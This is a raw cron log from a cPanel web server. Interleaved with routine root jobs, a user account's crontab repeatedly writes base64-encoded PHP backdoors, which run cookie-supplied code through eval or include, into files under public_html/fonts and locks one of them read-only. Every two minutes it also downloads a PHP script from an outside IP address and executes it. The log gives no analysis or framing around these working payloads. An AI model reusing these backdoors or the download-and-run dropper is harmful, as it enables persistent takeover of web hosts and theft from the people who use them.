Sep  3 17:14:01 ip-184-168-122-23 CROND[5864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:15:01 ip-184-168-122-23 CROND[5946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:15:01 ip-184-168-122-23 CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:15:01 ip-184-168-122-23 CROND[5948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:15:01 ip-184-168-122-23 CROND[5950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:15:01 ip-184-168-122-23 CROND[5952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:15:01 ip-184-168-122-23 CROND[5951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:16:01 ip-184-168-122-23 CROND[6053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:16:01 ip-184-168-122-23 CROND[6055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:16:01 ip-184-168-122-23 CROND[6057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:16:01 ip-184-168-122-23 CROND[6056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:16:01 ip-184-168-122-23 CROND[6058]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:16:01 ip-184-168-122-23 CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:17:01 ip-184-168-122-23 CROND[6141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:17:01 ip-184-168-122-23 CROND[6142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:17:01 ip-184-168-122-23 CROND[6143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:17:01 ip-184-168-122-23 CROND[6144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:18:01 ip-184-168-122-23 CROND[6228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:18:01 ip-184-168-122-23 CROND[6231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:18:01 ip-184-168-122-23 CROND[6233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:18:01 ip-184-168-122-23 CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:18:01 ip-184-168-122-23 CROND[6232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:19:01 ip-184-168-122-23 CROND[6311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:19:01 ip-184-168-122-23 CROND[6314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:19:01 ip-184-168-122-23 CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:19:01 ip-184-168-122-23 CROND[6313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6400]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:20:01 ip-184-168-122-23 CROND[6406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:20:01 ip-184-168-122-23 CROND[6412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:21:01 ip-184-168-122-23 CROND[6608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:21:01 ip-184-168-122-23 CROND[6611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:21:01 ip-184-168-122-23 CROND[6609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:21:01 ip-184-168-122-23 CROND[6610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:22:01 ip-184-168-122-23 CROND[6711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:22:01 ip-184-168-122-23 CROND[6713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:22:01 ip-184-168-122-23 CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:22:01 ip-184-168-122-23 CROND[6716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:22:01 ip-184-168-122-23 CROND[6715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:23:01 ip-184-168-122-23 CROND[6794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:23:01 ip-184-168-122-23 CROND[6796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:23:01 ip-184-168-122-23 CROND[6799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:23:01 ip-184-168-122-23 CROND[6800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:24:01 ip-184-168-122-23 CROND[6879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:24:01 ip-184-168-122-23 CROND[6881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:24:01 ip-184-168-122-23 CROND[6880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:24:01 ip-184-168-122-23 CROND[6882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:24:01 ip-184-168-122-23 CROND[6884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:25:01 ip-184-168-122-23 CROND[6984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:25:01 ip-184-168-122-23 CROND[6986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:25:01 ip-184-168-122-23 CROND[6987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:25:01 ip-184-168-122-23 CROND[6988]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:25:01 ip-184-168-122-23 CROND[6989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:25:01 ip-184-168-122-23 CROND[6991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:26:01 ip-184-168-122-23 CROND[7074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:26:01 ip-184-168-122-23 CROND[7076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:26:01 ip-184-168-122-23 CROND[7077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:26:01 ip-184-168-122-23 CROND[7078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
